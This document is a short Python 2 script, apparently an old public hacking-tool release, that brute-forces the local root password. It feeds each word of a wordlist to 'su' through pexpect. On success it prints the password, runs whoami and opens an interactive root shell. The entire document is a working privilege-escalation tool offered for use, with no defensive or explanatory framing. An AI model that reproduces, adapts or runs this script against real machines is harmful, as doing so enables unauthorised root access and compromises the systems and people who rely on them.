Local Root Bruteforcer

#!/usr/bin/python
#Local Root BruteForcer


#d3hydr8[at]gmail[dot]com

import sys
try:
    import pexpect
except(ImportError):
    print "\nYou need the pexpect module."
    print "http://www.noah.org/wiki/Pexpect\n"
    sys.exit(1)

#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'

def brute(word):
    print "Trying:",word
    child = pexpect.spawn ('su')
    child.expect ('Password: ')
    child.sendline (word)
    i = child.expect (['.+\s#\s',LOGIN_ERROR])
    if i  == 0:
        print "\n\t[!] Root Password:",word
        child.sendline ('whoami')
        print child.before
        child.interact()
    #if i == 1:
        #print "Incorrect Password"

if len(sys.argv) != 2:
    print "\nUsage : ./rootbrute.py <wordlist>"
    print "Eg: ./rootbrute.py words.txt\n"
    sys.exit(1)

try:
    words = open(sys.argv[1], "r").readlines()
except(IOError):
      print "\nError: Check your wordlist path\n"
      sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
    brute(word.replace("\n",""))